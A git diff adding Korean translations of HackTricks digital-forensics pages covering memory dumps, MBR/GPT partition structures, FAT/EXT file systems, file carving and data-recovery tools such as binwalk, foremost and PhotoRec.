|
||||
pcap 내부에서 **악성 코드**를 **검색**해보세요. [**악성 코드 분석**](../malware-analysis.md)에서 언급된 **도구**를 사용하세요.
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility는 메모리 덤프 분석을 위한 주요 오픈 소스 프레임워크**입니다. 이 Python 도구는 외부 소스 또는 VMware VM의 덤프를 분석하여 덤프의 OS 프로파일을 기반으로 프로세스 및 비밀번호와 같은 데이터를 식별합니다. 플러그인을 사용하여 확장 가능하므로 포렌식 조사에 매우 유연하게 사용할 수 있습니다.
|
||||
|
||||
**[여기에서 cheatsheet를 찾아보세요](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
|
||||
## 미니 덤프 충돌 보고서
|
||||
|
||||
덤프가 작을 경우 (몇 KB 또는 몇 MB) 미니 덤프 충돌 보고서일 가능성이 높습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (216).png>)
|
||||
|
||||
Visual Studio를 설치한 경우이 파일을 열고 프로세스 이름, 아키텍처, 예외 정보 및 실행 중인 모듈과 같은 기본 정보를 바인딩 할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (217).png>)
|
||||
|
||||
예외를 로드하고 디컴파일된 명령을 확인할 수도 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (219).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (218) (1).png>)
|
||||
|
||||
어쨌든, Visual Studio는 덤프의 깊이를 분석하기에는 최적의 도구가 아닙니다.
|
||||
|
||||
덤프를 **IDA** 또는 **Radare**를 사용하여 깊이 있는 검사를 수행해야 합니다.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 행사 중 하나로 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 끓어오르는 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,238 @@
|
|||
# Partitions/File Systems/Carving
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 파티션
|
||||
|
||||
**하드 드라이브** 또는 **SSD 디스크에는 데이터를 물리적으로 분리하기 위한 다른 파티션**이 포함될 수 있습니다.\
|
||||
디스크의 **최소** 단위는 **섹터**입니다(일반적으로 512B로 구성됨). 따라서 각 파티션 크기는 해당 크기의 배수여야 합니다.
|
||||
|
||||
### MBR (마스터 부트 레코드)
|
||||
|
||||
**부팅 코드의 446B 이후 디스크의 첫 번째 섹터에 할당**됩니다. 이 섹터는 PC에게 파티션을 어디에서 어떻게 마운트해야 하는지 알려주는 데 중요합니다.\
|
||||
**최대 4개의 파티션**(최대 **1개만 활성/부팅 가능**)을 허용합니다. 그러나 더 많은 파티션이 필요한 경우 **확장 파티션**을 사용할 수 있습니다. 이 첫 번째 섹터의 마지막 바이트는 부트 레코드 서명 **0x55AA**입니다. 하나의 파티션만 활성화될 수 있습니다.\
|
||||
MBR은 **최대 2.2TB**를 허용합니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (489).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (490).png>)
|
||||
|
||||
MBR의 **바이트 440에서 443**까지는 **Windows 디스크 서명**(Windows를 사용하는 경우)을 찾을 수 있습니다. 하드 디스크의 논리 드라이브 문자는 Windows 디스크 서명에 따라 달라집니다. 이 서명을 변경하면 Windows 부팅이 방해될 수 있습니다(도구: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (493).png>)
|
||||
|
||||
**형식**
|
||||
|
||||
| 오프셋 | 길이 | 아이템 |
|
||||
| ----------- | ---------- | ------------ |
|
||||
| 0 (0x00) | 446(0x1BE) | 부팅 코드 |
|
||||
| 446 (0x1BE) | 16 (0x10) | 첫 번째 파티션 |
|
||||
| 462 (0x1CE) | 16 (0x10) | 두 번째 파티션 |
|
||||
| 478 (0x1DE) | 16 (0x10) | 세 번째 파티션 |
|
||||
| 494 (0x1EE) | 16 (0x10) | 네 번째 파티션 |
|
||||
| 510 (0x1FE) | 2 (0x2) | 서명 0x55 0xAA |
|
||||
|
||||
**파티션 레코드 형식**
|
||||
|
||||
| 오프셋 | 길이 | 아이템 |
|
||||
| --------- | -------- | -------------------------------- |
|
||||
| 0 (0x00) | 1 (0x01) | 활성 플래그 (0x80 = 부팅 가능) |
|
||||
| 1 (0x01) | 1 (0x01) | 시작 헤드 |
|
||||
| 2 (0x02) | 1 (0x01) | 시작 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | 시작 실린더 최하위 8비트 |
|
||||
| 4 (0x04) | 1 (0x01) | 파티션 유형 코드 (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | 끝 헤드 |
|
||||
| 6 (0x06) | 1 (0x01) | 끝 섹터 (비트 0-5); 실린더의 상위 비트 (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | 끝 실린더 최하위 8비트 |
|
||||
| 8 (0x08) | 4 (0x04) | 파티션 이전 섹터 수 (리틀 엔디안) |
|
||||
| 12 (0x0C) | 4 (0x04) | 파티션 내 섹터 수 |
|
||||
|
||||
Linux에서 MBR을 마운트하려면 먼저 시작 오프셋을 얻어야 합니다(`fdisk`와 `p` 명령을 사용할 수 있음).
|
||||
|
||||
![](https://github.com/carlospolop/hacktricks/blob/kr/.gitbook/assets/image%20\(413\)%20\(3\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(12\).png)
|
||||
|
||||
그런 다음 다음 코드를 사용하세요.
|
||||
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
|
||||
**LBA (논리 블록 주소 지정)**
|
||||
|
||||
**논리 블록 주소 지정** (**LBA**)은 컴퓨터 저장 장치에 저장된 데이터 블록의 위치를 지정하는 데 사용되는 일반적인 체계로, 일반적으로 하드 디스크 드라이브와 같은 보조 저장 시스템에 사용됩니다. LBA는 특히 간단한 선형 주소 지정 체계이며, **블록은 정수 인덱스에 의해 찾아집니다**. 첫 번째 블록은 LBA 0이고, 두 번째는 LBA 1이며, 이와 같이 계속됩니다.
|
||||
|
||||
### GPT (GUID 파티션 테이블)
|
||||
|
||||
GUID 파티션 테이블인 GPT는 MBR (마스터 부트 레코드)와 비교하여 향상된 기능으로 인해 선호됩니다. 파티션을 위한 **전역적으로 고유한 식별자**로 특징 지어지는 GPT는 여러 측면에서 두드러집니다:
|
||||
|
||||
* **위치 및 크기**: GPT와 MBR은 모두 **섹터 0**에서 시작합니다. 그러나 GPT는 **64비트**에서 작동하며, MBR의 32비트와 대조됩니다.
|
||||
* **파티션 제한**: GPT는 Windows 시스템에서 최대 **128개의 파티션**을 지원하며, 최대 **9.4ZB**의 데이터를 수용합니다.
|
||||
* **파티션 이름**: 최대 36개의 유니코드 문자로 파티션에 이름을 지정할 수 있습니다.
|
||||
|
||||
**데이터 내구성 및 복구**:
|
||||
|
||||
* **중복성**: MBR과 달리 GPT는 파티션 및 부팅 데이터를 단일 위치에 제한하지 않습니다. 이 데이터를 디스크 전체에 복제하여 데이터 무결성과 내구성을 향상시킵니다.
|
||||
* **순환 중복 검사 (CRC)**: GPT는 데이터 무결성을 보장하기 위해 CRC를 사용합니다. 데이터 손상을 적극적으로 모니터링하며, 감지되면 GPT는 손상된 데이터를 다른 디스크 위치에서 복구하려고 시도합니다.
|
||||
|
||||
**보호 MBR (LBA0)**:
|
||||
|
||||
* GPT는 보호 MBR을 통해 역호환성을 유지합니다. 이 기능은 레거시 MBR 공간에 위치하며, 오래된 MBR 기반 유틸리티가 GPT 디스크를 실수로 덮어쓰지 않도록 설계되어 GPT 형식의 디스크의 데이터 무결성을 보호합니다.
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||
|
||||
**하이브리드 MBR (LBA 0 + GPT)**
|
||||
|
||||
[Wikipedia에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
BIOS 서비스를 통해 **GPT 기반 부팅을 지원하는 운영 체제**에서는 첫 번째 섹터를 사용하여 **부트로더** 코드의 첫 번째 단계를 저장할 수 있지만, **수정**하여 **GPT 파티션**을 인식하도록 합니다. MBR의 부트로더는 섹터 크기를 512바이트로 가정해서는 안 됩니다.
|
||||
|
||||
**파티션 테이블 헤더 (LBA 1)**
|
||||
|
||||
[Wikipedia에서](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
파티션 테이블 헤더는 디스크의 사용 가능한 블록을 정의합니다. 또한 파티션 테이블을 구성하는 파티션 항목의 수와 크기를 정의합니다 (표의 오프셋 80 및 84).
|
||||
|
||||
| 오프셋 | 길이 | 내용 |
|
||||
| --------- | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0 (0x00) | 8 바이트 | 시그니처 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 또는 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)리틀 엔디안 기계에서) |
|
||||
| 8 (0x08) | 4 바이트 | UEFI 2.8을 위한 리비전 1.0 (00h 00h 01h 00h) |
|
||||
| 12 (0x0C) | 4 바이트 | 리틀 엔디안에서 헤더 크기 (바이트 단위, 일반적으로 5Ch 00h 00h 00h 또는 92 바이트) |
|
||||
| 16 (0x10) | 4 바이트 | 헤더의 [CRC32](https://en.wikipedia.org/wiki/CRC32) (오프셋 +0부터 헤더 크기까지)의 리틀 엔디안 값, 이 필드는 계산 중에 0으로 설정됨 |
|
||||
| 20 (0x14) | 4 바이트 | 예약됨; 0이어야 함 |
|
||||
| 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 사본의 위치) |
|
||||
| 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 사본의 위치) |
|
||||
| 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) |
|
||||
| 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA - 1) |
|
||||
| 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID |
|
||||
| 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 사본에서 항상 2) |
|
||||
| 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 |
|
||||
| 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) |
|
||||
| 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 |
|
||||
| 92 (0x5C) | \* | 나머지 블록에 대해 0이어야 하는 예약된 값 (512바이트 섹터 크기의 경우 420바이트이지만 더 큰 섹터 크기의 경우 더 많을 수 있음) |
|
||||
|
||||
**파티션 항목 (LBA 2–33)**
|
||||
|
||||
| GUID 파티션 항목 형식 | | |
|
||||
| -------------- | ------ | --------------------------------------------------------------------------------------------------- |
|
||||
| 오프셋 | 길이 | 내용 |
|
||||
| 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (혼합 엔디안) |
|
||||
| 16 (0x10) | 16 바이트 | 고유한 파티션 GUID (혼합 엔디안) |
|
||||
| 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) |
|
||||
| 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) |
|
||||
| 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 단위) |
|
||||
|
||||
**파티션 유형**
|
||||
|
||||
![](<../../../.gitbook/assets/image (492).png>)
|
||||
|
||||
더 많은 파티션 유형은 [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)에서 확인할 수 있습니다.
|
||||
|
||||
### 검사
|
||||
|
||||
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)를 사용하여 포렌식 이미지를 마운트한 후 Windows 도구 [**Active Disk Editor**](https://www.disk-editor.org/index.html)를 사용하여 첫 번째 섹터를 검사할 수 있습니다. 다음 이미지에서 **MBR**이 **섹터 0**에서 감지되고 해석되었습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (494).png>)
|
||||
|
||||
**MBR 대신 GPT 테이블**이었다면 **섹터 1**에서 _EFI PART_ 서명이 나타날 것입니다 (이전 이미지에서는 비어 있음).
|
||||
|
||||
## 파일 시스템
|
||||
|
||||
### Windows 파일 시스템 목록
|
||||
|
||||
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||
* **ReFS**: 2012/2016
|
||||
|
||||
### FAT
|
||||
|
||||
**FAT (File Allocation Table)** 파일 시스템은 핵심 구성 요소인 파일 할당 테이블을 기준으로 설계되었습니다. 이 시스템은 데이터 무결성을 보호하기 위해 테이블의 **두 개의 사본**을 유지하여 한쪽이 손상되더라도 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정 위치**에 있어야 하며 시스템의 시작 프로세스에 중요합니다.
|
||||
|
||||
파일 시스템의 기본 저장 단위는 **클러스터**이며, 일반적으로 512B로 구성되어 여러 섹터를 포함합니다. FAT는 다음과 같은 버전을 통해 발전해 왔습니다:
|
||||
|
||||
* **FAT12**: 12비트 클러스터 주소를 지원하며 최대 4078개의 클러스터(UNIX 포함 4084개)를 처리합니다.
|
||||
* **FAT16**: 16비트 주소로 향상되어 최대 65,517개의 클러스터를 수용합니다.
|
||||
* **FAT32**: 32비트 주소로 더 발전하여 볼륨 당 268,435,456개의 클러스터를 허용합니다.
|
||||
|
||||
FAT 버전 간의 중요한 제한 사항은 파일 크기 저장을 위해 사용되는 32비트 필드로 인한 **최대 4GB 파일 크기**입니다.
|
||||
|
||||
특히 FAT12 및 FAT16의 루트 디렉토리의 주요 구성 요소는 다음과 같습니다:
|
||||
|
||||
* **파일/폴더 이름** (최대 8자)
|
||||
* **속성**
|
||||
* **생성, 수정 및 최근 액세스 날짜**
|
||||
* **FAT 테이블 주소** (파일의 시작 클러스터를 나타냄)
|
||||
* **파일 크기**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2**는 부팅 파티션과 같이 **잘 변하지 않는 파티션**을 위한 가장 일반적인 파일 시스템입니다. **Ext3/4**는 **저널링**이며 일반적으로 **나머지 파티션**에 사용됩니다.
|
||||
|
||||
## **메타데이터**
|
||||
|
||||
일부 파일에는 메타데이터가 포함되어 있습니다. 이 정보는 파일의 내용에 대한 것으로, 파일 유형에 따라 제목, 사용된 MS Office 버전, 작성자, 생성 및 최종 수정 날짜, 카메라 모델, GPS 좌표, 이미지 정보와 같은 정보가 있을 수 있습니다.
|
||||
|
||||
파일의 메타데이터를 얻기 위해 [**exiftool**](https://exiftool.org) 및 [**Metadiver**](https://www.easymetadata.com/metadiver-2/)와 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
## **삭제된 파일 복구**
|
||||
|
||||
### 기록된 삭제된 파일
|
||||
|
||||
이전에 볼 수 있듯이 파일이 "삭제"된 후에도 여전히 저장된 여러 위치가 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하면 삭제로 표시되지만 데이터는 손상되지 않기 때문입니다. 그런 다음 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾을 수 있습니다.
|
||||
|
||||
또한 OS는 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로 파일이나 가능한 많은 정보를 복구하기 위해 이를 사용할 수 있습니다.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **파일 카빙**
|
||||
|
||||
**파일 카빙**은 데이터 덩어리에서 파일을 찾으려는 기술입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 푸터**를 기반으로, 파일 유형 **구조**를 기반으로, 그리고 **콘텐츠** 자체를 기반으로 합니다.
|
||||
|
||||
이 기술은 **단편화된 파일을 검색하는 데 사용할 수 없습니다**. 파일이 **연속적인 섹터에 저장되지 않으면**, 이 기술로 파일이나 적어도 일부를 찾을 수 없습니다.
|
||||
|
||||
파일 카빙에 사용할 수 있는 여러 도구가 있으며, 검색할 파일 유형을 지정할 수 있습니다.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 데이터 스트림 **카빙**
|
||||
|
||||
데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일 대신 흥미로운 조각 정보를 찾습니다**.\
|
||||
예를 들어, 로그된 URL을 포함한 완전한 파일을 찾는 대신, 이 기술은 URL을 검색합니다.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 안전한 삭제
|
||||
|
||||
물론 파일을 **"안전하게" 삭제하고 그에 대한 로그 일부를 제거하는 방법**이 있습니다. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 덮어쓰고, 그런 다음 **$MFT** 및 **$LOGFILE**에 대한 파일에 대한 로그를 제거하고 **볼륨 그림자 사본**을 제거할 수 있습니다.\
|
||||
이 작업을 수행해도 파일의 존재가 여전히 로깅된 부분이 있을 수 있음을 알 수 있으며, 이는 포렌식 전문가의 업무 중 일부입니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
* **iHackLabs Certified Digital Forensics Windows**
|
|
@ -0,0 +1,131 @@
|
|||
# File/Data Carving & Recovery Tools
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/forensics/basic-forensic-methodology/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & 복구 도구
|
||||
|
||||
더 많은 도구: [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하고 설치한 후 파일을 처리하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 다른 종류의 이미지를 지원하도록 구축되었지만 간단한 파일은 지원하지 않습니다.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk**은 이진 파일을 분석하여 포함된 콘텐츠를 찾는 도구입니다. `apt`를 통해 설치할 수 있으며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에 있습니다.
|
||||
|
||||
**유용한 명령어**:
|
||||
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
|
||||
### Foremost
|
||||
|
||||
또 다른 숨겨진 파일을 찾는 데 사용되는 일반적인 도구는 **foremost**입니다. Foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 해당 파일을 주석 처리하십시오. 아무것도 주석 처리하지 않으면 foremost는 기본 구성된 파일 유형을 검색합니다.
|
||||
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel**은 파일 내에 포함된 파일을 찾아 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우, 추출하려는 파일 유형을 구성 파일(_/etc/scalpel/scalpel.conf_)에서 주석 처리 해제해야 합니다.
|
||||
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
|
||||
### Bulk Extractor
|
||||
|
||||
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
이 도구는 이미지를 스캔하고 그 안에 있는 **pcaps를 추출**하며, **네트워크 정보(URL, 도메인, IP, MAC, 이메일)** 및 **더 많은 파일**을 추출할 수 있습니다. 수행해야 할 작업은 다음과 같습니다:
|
||||
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
||||
### PhotoRec
|
||||
|
||||
[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk\_Download)를 찾을 수 있습니다.
|
||||
|
||||
GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec가 검색할 **파일 유형**을 선택할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
### binvis
|
||||
|
||||
[코드](https://code.google.com/archive/p/binvis/) 및 [웹 페이지 도구](https://binvis.io/#/)를 확인하세요.
|
||||
|
||||
#### BinVis의 기능
|
||||
|
||||
* 시각적이고 활성 **구조 뷰어**
|
||||
* 서로 다른 초점 지점에 대한 여러 플롯
|
||||
* 샘플 일부에 초점을 맞춤
|
||||
* PE 또는 ELF 실행 파일에서 **문자열 및 리소스** 확인
|
||||
* 파일의 암호 해독을 위한 **패턴** 획득
|
||||
* 패커 또는 인코더 알고리즘 **발견**
|
||||
* 패턴에 의한 스테가노그래피 **식별**
|
||||
* **시각적** 이진 차이
|
||||
|
||||
BinVis는 블랙박싱 시나리오에서 **알 수 없는 대상에 익숙해지는 데 좋은 시작점**입니다.
|
||||
|
||||
## 특정 데이터 카빙 도구
|
||||
|
||||
### FindAES
|
||||
|
||||
AES 키를 찾기 위해 키 스케줄을 검색하여 AES 키를 찾습니다. TrueCrypt 및 BitLocker에서 사용되는 것과 같이 128, 192 및 256 비트 키를 찾을 수 있습니다.
|
||||
|
||||
[여기에서 다운로드](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## 보조 도구
|
||||
|
||||
터미널에서 이미지를 보려면 [**viu**](https://github.com/atanunq/viu)를 사용할 수 있습니다.\
|
||||
pdf를 텍스트로 변환하고 읽기 위해 리눅스 명령 줄 도구 **pdftotext**를 사용할 수 있습니다.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/forensics/basic-forensic-methodology/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 귀하의 **회사를 HackTricks에서 광고**하거나 **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
